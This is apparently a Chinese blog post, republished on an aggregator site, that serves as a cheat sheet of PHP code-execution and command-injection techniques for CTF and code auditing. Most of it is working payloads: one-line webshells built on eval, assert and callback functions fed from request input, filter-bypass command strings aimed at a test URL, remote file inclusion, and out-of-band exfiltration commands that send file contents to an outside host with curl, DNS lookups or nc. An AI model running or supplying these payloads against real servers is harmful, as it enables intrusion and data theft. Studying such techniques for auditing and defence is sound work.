php运算符= %3c%3c%3c PHP命令及代码
一、命令执行/写shell
(资料图)
eval
fputs1fputs(fopen("t.php","w"),"")
preg_replace ====
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
5.6以下可以执行
5.6以上仍然可以执行,但是会有警告
PHP7后已经不支持/e修饰符
2.1、1
2
3
4
5
$regexp = $_GET["reg"];
$var = "phpinfo()";
preg_replace("/(.*?)$regexp", "\1", $var);
?>
reg=%3C/php%3E/e
2.2、1
2
3
preg_replace("//e", $_GET["cmd"], "cmd test");
?>
cmd=phpinfo()
2.3、1
2
3
preg_replace("/s*[php](.+?)[/php]s*/ies", "\1", $_GET["h"]);
?>
h=[php]phpinfo()[/php]
assert() ====
bool assert ( mixed $assertion [, string $description ] )
将字符串当成PHP代码执行
在PHP7后已经不是一个函数,而是一种语言结构1
2
3
assert($_GET["pass"]);
?>
pass=phpinfo()
注意:phpinfo()可以不加分号;
call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。1
2
3
call_user_func($_GET["museljh"], $_GET["museljh"]);
?>
在PHP7.0依旧可以museljh=assert&museljh=phpinfo(),使用eval进行代码执行1
2
3
call_user_func(function($a){eval($a);},$_GET["museljh"]);
?>
call_user_func_array()1mixed call_user_func_array ( callable $callback , array $param_arr )1
2
3
call_user_func_array($_GET["user"],$_GET["pass"]);
?>
call_user_func_array(function($a){eval($a);},$_GET["museljh"]);
http://127.0.0.1/1.php?museljh[]=echo 2;
create_function ====
string create_function ( string $args , string $code )1
2
3
4
5
$a = $_GET["museljh"];
$b = create_function("$a","echo $a");
$b("");
?>
127.0.0.1/?museljh=phpinfo();
在ctf比赛中create_function常常可以用截断来进行利用,主要是由于这个函数里有内部有调用eval函数,1
2
3
4
5
6
7
8
9
10
11
12
13
14
function sname($name){
echo $name."xxx".$id;
}
if(isset($_GET["id"])){
$id=$_GET["id"];
$code = "echo $name."."xxx".$id."; ";
$a = create_function("$name",$code);
$a("pass");
}else{
echo 1;
}
127.0.0.1/?id=;}phpinfo();/*
array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。1
2$array[0] = $_GET["a"];
array_filter($array,"assert");
127.0.0.1/?a=phpinfo()
usort()/uasort()/uksort()
usort ( array &$array , callable $value_compare_func ) : bool
usort — 使用用户自定义的比较函数对数组中的值进行排序1
2
3
4
5//php5.6版本以下
usort($_GET,"system"); //xxx.php?1=1&2=whoami
//usort($_GET,"assert"); //xxx.php?1=1&2=phpinfo()
//php5.6以上
//usort(...$_GET); xxx.php?1[]=1-1&1[]=eval($_POST["x"])&2=assert1
2//php5.6以上
这里有个有趣的地方…运算符这是php5.6的新特性,在调用函数的时候,使用 … 运算符, 将 数组 和 可遍历 对象展开为函数参数。其实原理并没有发生什么变化,最终能够执行函数并非是usort而是eval。1
2
3
4
5
6
7
8
function add($a, $b, $c) {
return $a + $b + $c;
}
$operators = [2, 3];
echo add(1, ...$operators);
?>
上述例子会输出6
ob_start
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
ob_start — 打开输出控制缓冲1
2
3
4
5
6
7
$cmd = "system";
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
//xxx.php?a=whoami
?>
?a=whoami
ob_start为打开输出缓冲,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中,如上例子也就是echo。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。
可变函数$var(args)
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。1
2
3
$_GET["a"]($_GET["b"]);
?>
?a=system&b=whoami
?a=assert&b=phpinfo()
$1
2
3
${phpinfo()};
?>
array_map ====
array array_map ( callable $callback , array $array1 [, array $... ] )1
2
3
4
5
6
$a = $_GET["a"];
$b = $_GET["b"];
$array[0] = $b;
$c = array_map($a,$array);
?>
?a=assert&b=phpinfo();
$evil_callback为回调函数,将$some_array作为参数传入回调函数进行执行
这里需要注意$evil_callback没有括号()和分号;
目前来说全版本都可以使用
、array_walk/array_walk_recursive/register_shutdown_function/preg_replace_callback/array_reduce
1.array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] ) : bool
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
2.array_walk_recursive
array_walk_recursive — 对数组中的每个成员递归地应用用户函数
3.register_shutdown_function
register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void
register_shutdown_function — 注册一个会在php中止时执行的函数
4.preg_replace_callback
preg_replace_callback — 执行一个正则表达式搜索并且使用一个回调进行替换
preg_replace_callback ( mixed $pattern , callable $callback , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
5.array_reduce
array_reduce — 用回调函数迭代地将数组简化为单一的值
array_reduce( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed1
2
3
4
5
6
7
array_reduce($_GET["cmd"],"system");
array_walk_recursive($_GET["cmd"],"system");
register_shutdown_function("system",$_GET["cmd"]);
?>
?cmd[]=whoami
总的来说都是用回调函数,没什么新意。
stream_filter_register
stream_filter_register ( string $filtername , string $classname ) : bool
stream_filter_register — Register a user defined stream filter
允许您在与所有其他文件系统函数一起使用的任何已注册流上实现自己的过滤器 (such as fopen(), fread() etc.).
这个函数有些厉害,具体要怎么利用我还没搞清楚,感觉这个函数可以让我们自己写个fopen之类的函数?
array_uintersect_uassoc
array_uintersect_uassoc
— 带索引检查计算数组的交集,用单独的回调函数比较数据和索引
array_uintersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func , callable $key_compare_func ) : array1
2
3$a1=array($_POST["cmd"]);
$a2=array($_POST["cmd"]);
$result=array_uintersect_uassoc($a1,$a2,"assert","assert");
xml_set_character_data_handler()/xml_set_default_handler()/xml_set_element_handler()/xml_set_end_namespace_decl_handler()/xml_set_external_entity_ref_handler()/xml_set_notation_decl_handler()/xml_set_processing_instruction_handler()/xml_set_start_namespace_decl_handler()/xml_set_unparsed_entity_decl_handler()/
如上xml解析同样面临回调问题
集合
以下大多数函数都是利用类似回调函数的方法进行利用就不详细探究了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24create_function(),call_user_func_array(),
call_user_func(),assert(),
preg_replace(),eval(),
array_walk_recursive(),array_walk,array_map,ob_start(),
array_filter(),
preg_replace_callback(),register_shutdown_function()
array_reduce(),stream_filter_register()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()
二、PHP执行系统外部命令函数
system()
system ( string $command [, int &$return_var ] ) : string
php -r "system("whoami");"
输出结果
passthru()
pcntl_exec — 在当前进程空间执行指定程序
pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void1
2
3
passthru("whoami");
?>
passthru直接将结果输出到浏览器,并且支持二进制文件,比如图片
exec()
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
php -r "echo exec("whoami");"
不输出结果,如果需要直接获取需要$output参数
shell_exec()/``
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。效果与反引号一样,在安全模式下不起作用。
shell_exec ( string $cmd ) : string1
2
3
4
$output = shell_exec($_GET["a"]);
echo "
$output
";
?>
?a=whoami
不输出结果,如果需要echo1
2
3
$output = shell_exec("ls file_not_exist 2>&1");
echo "
$output
";
将标准错误流输入到标准输出流里输出错误信息
pcntl_exec()
pcntl_exec — 在当前进程空间执行指定程序1
2
3
pcntl_exec( "/bin/bash" , array("whoami"));
?>
我本地ubuntu是没有这个函数的,但是我宝塔里却有,但是我宝塔执行不了这个函数,会报cannot execute binary file。
popen()
popen — 打开进程文件指针
popen ( string $command , string $mode ) : resource
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
不能够直接 php -r "print_r(popen("/bin/ls", "r"));",会返回Broken pipe,这个函数返回的是一个resource,我们可以通过fgets/fread函数去读取程序的输出:1
2
3
4
5
6
7
8
9
10
$test = "whoami";
$fp = popen($test,"r"); //popen打一个进程通道
while (!feof($fp)) { //从通道取出内容
$out = fgets($fp, 4096);
echo $out;
}
pclose($fp);
?>
proc_open()
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ) : resource
descriptorspec
一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/dev/shm/error-output.txt", "a")
);
$process = proc_open("ls -la", $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[0]);
fclose($pipes[1]);
// 调用proc_close前必须把所有管道先关闭,避免出现死锁
$retval = proc_close($process);
echo "
$output
";
echo "Return value: " . $retval;
}
escapeshellcmd()/escapeshellarg()(属于命令执行绕过范畴)
8.1、escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
转义字符串$arg中的单引号并使用单引号包裹此部分
使得$arg只能传递一个参数,且不能执行不同的命令
escapeshellarg ( string $arg ) : string
8.2、escapeshellcmd — shell 元字符转义
escapeshellcmd ( string $command ) : string
转义& # ; | * ? ~ < > ^ ( ) [ ] { } $ 、x0A和xF,"和" 仅在落单时被转义
这些都会用^来取消其意义。也就是没办法用& | 来执行其他命令,只能列目录。
以上两个函数都是为了保证命令在经过system以及其他命令执行函数时防止用户输入非法的命令,但是这两个函数并非是万能的,依旧有许多方式进行绕过。
1.escapeshellcmd与escapeshellarg同时存在时候可以利用其差异性进行绕过
集合1passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,pope,passthru
windows下文件读取
1.more flag.txt
2.type flag.txt
linux下文件读取
1.cat flag.txt /{cat,flag.txt}
2.more flag.txt
3.less flag.txt
4.head flag.txt
5.tail flag.txt
6.tac flag.txt
7.nl flag.txt
8.od flag.txt
9.fire flag.txt
10.wc flag.txt
11.uniq flag.txt
12.diff flag.txt flag1.txt
13.sed -n "1,2p" flag.txt
14.find -P flag.txt
15、strings flag.txt
16、tailf flag.txt
17、curl file:///root/flag.txt
18、sort flag.txt
19、{grep,-nrw,.}
20、grep -r ..
21、bash -v flag.txt
22、rev flag.txt
windows 写文件
linux 写文件
1.tee flag.txt
三、命令执行绕过
命令分隔符1
2
3
4
5
6%0a、%0d 换行符与回车符
| 第一条命令结果作为第二条命令的输入
|| 第一条执行失败,执行第二条命令(
; 连续指令功能。
& 连接的两条命令都会执行
&& 当第一条执行成功后执行后续命令
${}
值得注意的是在被“”包裹时候直接${}是不可以的,因为PHP将会将它识别为可变变量而不是一个PHP代码。
这里有的有趣的发现,在下面已经将phpinfo()声明为可变变量后直接传入cmd=phpinfo()是可以执行的。1
2
3
4
5
6
7
8
9if(isset($_GET["cmd"])){
$cmd = @(string)$_GET["cmd"];
eval("$cmd="" . addslashes($cmd) . "";");
echo "$cmd="" . addslashes($cmd) . "";";
}else{
echo "hello";
}
$a=${phpinfo()};
当然对于${}来说会识别里面包含的第一个字符,只要将第一个字符修改为如空格,tab,注释,回车就会避免被直接当成变量,而会将其执行为PHP代码。
附上其他师傅总结payload
php >= 4.31
2
3
4
5
6
7
8
9
10
11
12
13"${ phpinfo()}";
"${ phpinfo()}";
"${/**/phpinfo()}";
"${
phpinfo()}";
"${( string )phpinfo()}";
"${phpinfo[phpinfo()]}";
"{$phpinfo[phpinfo()]}";
"{${phpinfo()}}";
"${${phpinfo()}}";
php>=5.51"${phpinfo()}";
空格绕过
测试代码,该目录下还有一个flag.txt1
2
3
4
5
6
7
8
if(isset($_GET["museljh"])){
$muse=$_GET["museljh"];
system($muse);
}
else{
echo "no!no!no!";
}
原来的命令
curl -w "n" "http://120.77.176.168/test.php?museljh=cat flag.txt"
绕过空格
1.curl -w "n" "http://120.77.176.168/test.php?museljh=cat%09flag.txt"
2.curl -w "n" "http://120.77.176.168/test.php?museljh={ls,-l}"
3.curl -w "n" "http://120.77.176.168/test.php?museljh=cat<>flag.txt"
4.curl -w "n" "http://120.77.176.168/test.php?museljh=cat
5.curl -w "n" "http://120.77.176.168/test.php?museljh=cat${IFS}flag.txt"(这个记得要url编码下
6.curl -w "n" "http://120.77.176.168/test.php?museljh=cat$IFS$9flag.txt"(url编码下,$9是linux系统shell进程的第九个参数,始终为空字符串
7.curl -w "n" "http://120.77.176.168/test.php?museljh=cat$IFSflag.txt"
备注:按道理来说curl -G --data-urlencode "museljh=cat flag.txt" http://120.77.176.168/test.php这样是可以直接urlencode编码的,但是却不行。
/绕过
首先我们先知道一些小知识
echo ${PATH}在我环境中输出为
/opt/Java/bin:/opt/Java/jre/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$JAVA_HOME/bin:/home/taoyx/program_develop/go_demo:/usr/local/go/bin
${PATH:0:1}代表以上字符的第一个也就是/,这样我们就可以得到了,当然我感觉这样的方法应该还有很多,指不止PATH,
当然这也可以使用正则匹配,比如${PATH%%o*} %%o.* 表示从右向左匹配 o.* 并删除,这样就不用:。
同样的知识点${PATH##*.}表示非贪婪匹配,当然这个还有许多玩法就不一一说了。
echo ${LESSOPEN}
| /usr/bin/lesspipe %s
加号/大于号绕过
PS1——默认提示符
PS2——再谈提示符
PS3——Shell脚本中使用select时的提示符
PS4——PS4-“set -x”用来修改跟踪输出的前缀
$PS4 为 +号
$PS2 为大于号
黑名单绕过
1.通配符利用
1.curl -w "n" "http://120.77.176.168/test.php?museljh=/???/?at flag.txt"
突然想到一个小结合
curl -w "n" "http://120.77.176.168/test.php?museljh=${PATH:0:1}???${PATH:0:1}?at%09flag.txt"
2.curl -w "n" "http://120.77.176.168/test.php?museljh=cat flag*"
夹杂字符
1.curl -w "n" "http://120.77.176.168/test.php?museljh=ca""t flag.txt"
2.curl -w "n" "http://120.77.176.168/test.php?museljh=ca$1t flag.txt"(这里的1可以改成任何一位数字)
3.curl -w "n" "http://120.77.176.168/test.php?museljh=cat flag.txt"
4.curl -w "n" "http://120.77.176.168/test.php?museljh=ca${x}t flag.txt"
5.curl -w "n" "http://120.77.176.168/test.php?museljh=ca``t flag.txt"
6.curl -w "n" "http://120.77.176.168/test.php?museljh=ca""t flag.txt"
编码绕过
1.curl -w "n" "http://120.77.176.168/test.php?museljh=echo "63617420666c61672e747874"|xxd -r -p|bash" (十六进制我本地莫名不行)
2.curl -w "n" "http://120.77.176.168/test.php?museljh=echo "Y2F0IGZsYWcudHh0"|base64 -d|bash"
结合一波
curl -w "n" "http://120.77.176.168/test.php?museljh=echo%09"Y2F0IGZsYWcudHh0"|base64%09-d|bash"
字符串拼接
1.curl -w "n" "http://120.77.176.168/test.php?museljh=a=cat;b=flag.txt;$a $b;"
若;被过滤还可以用%0a,%0d 代替
2.curl -w "n" "http://120.77.176.168/test.php?museljh=a=cat%0ab=flag.txt%0a$a $b%0a"
多条命令执行
1.curl -w "n" "http://120.77.176.168/test.php?museljh=curl 127.0.0.1|ls"
2.curl -w "n" "http://120.77.176.168/test.php?museljh=ls||curl 127.0.0.1"
前面命令执行失败才会执行后面命令
3.curl -w "n" "http://120.77.176.168/test.php?museljh=ls&curl 127.0.0.1"
命令同时执行
4.curl -w "n" "http://120.77.176.168/test.php?museljh=ls&&curl 127.0.0.1"
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。
5.curl -w "n" "http://120.77.176.168/test.php?museljh=ls;curl 127.0.0.1"
不管前面命令执行成功没有,后面的命令继续执行
ip中.绕过
将ip地址转换为数字地址
巧借全局变量
上次一个比赛中学到的。
在如下条件1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET["museljh"])){
$muse=$_GET["museljh"];
echo $muse,PHP_EOL;
#system($muse);
# system($_GET["b"]);
eval($muse);
}
else{
echo "no!no!no!";
}
1.curl -w "n" "http://120.77.176.168/test.php?museljh=$pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42)); "
system("cat /*");curl -l -w "n" --header "9: ls" "http://120.77.176.168/test.php?museljh=system(getallheaders(){9});"
system(getallheaders(){9})
3.GET/POST
四、无回显命令执行
反弹shell
万金油一般的存在,我之前已经写过一篇对此的小总结了。
curl -T museljh.txt http://120.77.176.168:11122
补充下ftpcurl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{museljh}
备注:对于curl来说 -F 以及–data来说都默认改为POST请求方式
curl "http://120.77.176.168:11122" --data-binary "@museljh.txt"
ping `whoami`.**.ceye.io
ceye.io是一个免费的DNS解析平台,会给每个注册用户一个免费的子域名同构构造类似ping `whoami`.**.ceye.io,命令可以将我们得到的结果传递给四级子域名,在ceye.io平台中就可以看到我们的DNS解析记录,嗯,有空再写篇博客研究下DNS隧道技术。这里不得不提下我看到的一个师傅文章中的一个操作,因为域名不能带空格,我们可以使用sed进行替换
格式:sed "s/要替换的字符串/新的字符串/g"1ping `cat flag.txt|sed s/[[:space:]]/xx/g`.museljh.ceye.io
这里还有要注意的,因为不仅仅是空格DNS解析的时候还是有挺多符号是不能解析的比如",不过要替换的东西可以用正则表示。(按道理来说一般flag里应该也没有什么特殊字符)
不过就算有多个我们也是可以绕过了,我暂时只想到这样的方法,办法确实是笨了点。不知道有没有师傅有更好办法。1ping `cat museljh.txt|sed s/[[:space:]]/museljh/g|sed s/"/museljh/g`.8itzz8.ceye.io
curl http://8itzz8.ceye.io/`whoami`
和第3点原理一样只是换成curl而已,除此之外在ceye.io平台中还提供了sql等payload可以说是很赞的了。
nc -l -p 11122 < museljh.txt,curl http://120.x.176.x:11122
使用nc将文件重定向到监听端,我们访问这个监听端即可
wget --header="museljh:cat flag.txt" http://120.77.176.168:11122
cat flag.txt | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 127.0.0.1; done
使用ICMP,可以看日志,可以用tcpdump抓包。
收到启发,同样想到可以这样
cat flag.txt |sed s/[[:space:]]/xx/g|while read museljh; do curl http://120.77.176.168:11122/?id=$museljh; done
这样,这里是可以不用使用空格的,我这边sed是多余的。使用类似这样的方法就可以解决之前DNS解析无法使用空格等非法字符了。
cat flag.txt |sed s/[[:space:]]/xx/g| xxd -p -c 16 | while read museljh; do curl http://120.77.176.168:11122/?id=$museljh; done
以下是我没试过的,只是列出来
net use h: \xxx.xxx.xxx.xxxweb /user:{username} {museljh} && copy {File to Copy} h:{filename}.txt
telnet xxx.xxx.xxx.xxx {port} < {file to transfer}
总的来说还是反弹shell比较合算
五、畸变的webshell
六、PHP文件读取函数
集合1file_get_contents()、highlight_file()、fopen()、readfile()、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file()
七、PHP输出当前进程所有变量 / 常量 / 模块 / 函数 / 类
get_defined_functions()
get_defined_functions — 返回所有已定义函数的数组
get_defined_functions ([ bool $exclude_disabled = FALSE ] ) : array1
2
3
4
5
6
7
8
9
10
function myrow($id, $data)
{
return "
$id$datan";
}
$arr = get_defined_functions();
print_r($arr);
?>
get_defined_vars()
get_defined_vars — 返回由所有已定义变量所组成的数组
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
echo "
";
$vars = get_defined_vars();
$b = array(1,1,2,3,5,8);
$arr = get_defined_vars();
// 打印 $b
//print_r($arr["b"]);
// 打印所有服务器变量
//print_r($arr["_SERVER"]);
// 打印变量数组的所有可用键值
print_r(get_defined_vars());
print_r(array_keys(get_defined_vars()));
$vars = array_diff(get_defined_vars(),$vars);
print_r($vars);
?>
get_loaded_extensions()
get_loaded_extensions — 返回所有编译并加载模块名的 array
get_loaded_extensions ([ bool $zend_extensions = false ] ) : array1
2
3
print_r(get_loaded_extensions());
?>
get_extension_funcs()
get_extension_funcs — 返回模块函数名称的数组
get_extension_funcs ( string $module_name ) : array
该函数根据 module_name 返回模块内定义的所有函数的名称。1
2
3
print_r(get_extension_funcs("curl"));
?>
get_defined_constants()
get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值
get_defined_constants ([ bool $categorize = false ] ) : array
返回当前所有已定义的常量名和值。 这包含 define() 函数所创建的,也包含了所有扩展所创建的。1
2
3
print_r(get_defined_constants());
?>
get_declared_classes()
get_declared_classes — 返回由已定义类的名字所组成的数组
get_declared_classes ( void ) : array
返回由当前脚本中已定义类的名字组成的数组。1
2
3
print_r(get_declared_classes());
?>
八、杂
远程文件包含
PHP文件包含会执行包含文件的代码,当开启了远程文件包含,则非常容易引起代码注入攻击。远程文件包含条件: allow_url_fopen=On, allow_url_include=On, 文件包含相关函数有: include, include_once, require, require_once1
2
3
include($_GET["cmd"]);
?>
cmd=data:text/plain,%3C?php%20phpinfo%28%29;?%3E, 即执行phpinfo()。
反序列化验证绕过
O:+4:"test":1:{s:1:"a";s:3:"aaa";}
参考《代码审计》一点儿笔记
标签:
相关推荐:
最新新闻:
- 利用活跃变量分析来去掉vmp的大部分垃圾指令 活跃性计算的方法
- 乱码问题怎么解决?Ubuntu9.04上看电影加载中文字幕乱码问题-速递
- 天天时讯:5个优秀的国产开源低代码开发平台推荐 低代码开发平台:J2Pa、cgBoot、华炎魔方
- 百度云资源分享 百度云干货资源
- 焦点播报:Windows下【AxureRP】原型设计工具破解码与安装包 安装步骤
- 耶鲁大学耗时5年的研究成果 左脑与右脑的神奇功能研究|今日报
- 全球观点:读书笔记-袁腾飞讲高效学习法 高效能学生的七大法宝
- JavaEE---Servlet入门教程 JavaEE操作步骤_天天即时看
- 天天时讯:FASTQ格式是什么?FASTQ格式详情
- 环球快资讯丨springboot&日志&aop管理日志 定时任务、异步调用、读取配置文件
- 环球新消息丨TSLAM9是什么?中心差分卡尔曼滤波
- 缓冲区问题 输入缓冲区的管理方式:世界快播
- 全球观察:ffmpeg源码分析:结构体成员管理系统-AVOption
- 天天热头条丨清华2019最新AI发展报告出炉:13大领域一文看懂
- php运算符= %3c%3c%3c PHP命令及代码
- 紫光电子平板电脑怎么样?紫光电子平板电脑如何刷机? 每日热门
- 天天信息:win7系统如何关闭系统默认共享文件夹?关闭系统默认共享文件夹方法
- 嵩天老师的零基础Python笔记 详情介绍
- 如何清除AcadDoc.lsp病毒?AcadDoc.lsp病毒清理步骤
- 文本显示器的价格是多少?文本显示器的优势|全球滚动
- linux安装jdk8怎么装?手把手教你安装单机版Hadoop3.2.1
- 饮水机什么牌子质量好?饮水机品牌推荐-全球观察
- 网络基础知识有哪些?网络基础知识大全 世界热闻
- 小学生电脑学习机有哪些?读书郎学生电脑主要功能
- 【时快讯】韩国泛泰手机怎么样?韩国泛泰手机参数配置如何?
- 环球快资讯丨为什么黑茶有茶梗?关于茶梗你知道多少?
- 松下变频器怎么使用?松下变频器说明书详解-全球微动态
- 二手电视机有哪些分类?二手电视机分类介绍-热消息
- 如何判断一个函数是奇函数还是偶函数?判断技巧|当前速看
- 【当前热闻】一加手机怎么开启手电筒?一加手机开启手电筒操作步骤
- 2021庆阳一中高考成绩查询 2020年庆阳市多所中学高考喜报
- Win7安装IE10或IE11怎么操作?离线安装注意问题 全球热点评
- 分布式光纤测温系统 性能指标优势
- 2021江西省高考的成绩怎么查询?江西省教育考试院高考成绩查询系统入口2021
- Oracle database 10g官方版性能拓展_世界观焦点
- 飞利浦吸尘器怎么样?维修中常见的问题 世界快播报
- 删除文件提示正在被另一程序使用怎么办?解决方法
- QGIS|构建选址模型 模型需求分析:天天消息
- 【世界时快讯】什么是umd漫画制? umd漫画制作工具详情介绍
- 视频在html不能播放器怎么办?网页播放器打不开的解决方法
- 德国坦克声卡怎么样?德国坦克声卡质量好不好?|每日快讯
- CAD怎么建立三维模型? CAD的建模方法|全球播资讯
- d3dx9_43.dll是什么丢失了怎么办?解决办法 天天快讯
- 联想轻薄笔记本怎么样?联想ThinkPad E325多少钱?:环球热资讯
- 2021年临颖一高高考成绩查询 河南漯河名列前茅的4所高中 热头条
- 小飞人熨斗怎样?小飞人熨斗特点介绍 讯息
- Module简介 module的编写方法
- 今日热议:RCLAMP0524P超低电容TVS二极管阵列 DFN-10L封装教程
- sin函数对照表怎么看?三角函数值对照表
- QT部署YOLOV5 pyqt5搭建YOLOV5的检测平台
- 【世界速看料】一个没有四肢的人 却给了无数人的力量
- 2021庆阳一中高考成绩查询 2020年庆阳市多所中学高考喜报
- Win7安装IE10或IE11怎么操作?离线安装注意问题 全球热点评
- 视频在html不能播放器怎么办?网页播放器打不开的解决方法
- QGIS|构建选址模型 模型需求分析:天天消息
- 微速讯:Makefile宏控是什么?宏控与systemProperty取名对应
- QT部署YOLOV5 pyqt5搭建YOLOV5的检测平台
- 如何关闭电脑右下角游戏广告弹窗?电脑右下角游戏广告弹窗关闭方法
- 怎么批量删除电脑桌面文件图标?批量删除电脑桌面文件图标操作步骤
- diskgenius怎么恢复数据和分区?diskgeniu恢复数据和分区方法
- win7如何安装HP打印机?win7安装HP打印机步骤
- 如何清除win10系统所有搜索历史记录?win10系统所有搜索历史记录操作步骤
- 无线路由器可连接网络的距离是多少?无线路由器可连接网络的距离介绍
- 如何找到电脑中的本地连接?电脑中的本地连接查找方法
- ctfmon.exe是什么进程?ctfmon.exe是否可以下载替换?
- 怎么将swf格式文件转为mp3格式?swf格式文件转为mp3格式方法
- 打开EXCEL时无法找到startup.xls文件怎么解决?打开EXCEL时无法找到startup.xls文件的解决方法
- 音频拨号和脉冲拨号的区别是什么?音频拨号和脉冲拨号的区别介绍
- 怎么更改鼠标指针图案?鼠标指针图案更改方法
- 笔记本电脑键盘输入错乱怎么办?笔记本电脑键盘输入错乱解决方法
- TeamViewer怎么使用?TeamViewer使用方法教程
- 电脑主板供电接口有什么不同?电脑主板供电接口介绍
- 硬盘如何安装系统?硬盘安装系统教程
- 笔记本电脑怎么外接直流电源?笔记本电脑外接直流电源连接方法
- 怎么打开nh文件?nh文件是什么?
- 暴风转码怎么用?暴风转码使用方法
- 蓝屏提示错误代码0x000000c2怎么办?Win10蓝屏提示错误代码0x000000c2的解决方法
- “强监管、一刀切”!香港期货业恐“变天”,经纪商:可操作性不强......影响几何? 环球热推荐
- 韩厂压力山大:显示屏看中国的时代来了 当前通讯
- 《星球大战绝地:幸存者》将拥有5种光剑形态 用以针对不同敌人
- 最新快讯!《战神4》Mod搞笑视频 姆巴佩和梅西一决高下
- 菲尔·斯宾塞分享自己的2022年游戏报告 《吸血鬼幸存者》游玩时长最多
- 观焦点:P社宣布 将计划对部分地区的游戏售价进行调整
- 世界看热讯:Acer推出新技术 显示器和笔记本可实现裸眼立体3D效果
- 《刺客信条:英灵殿》联动《怪物猎人:世界》 惨爪龙风飘龙装备皮肤正式上线_最新消息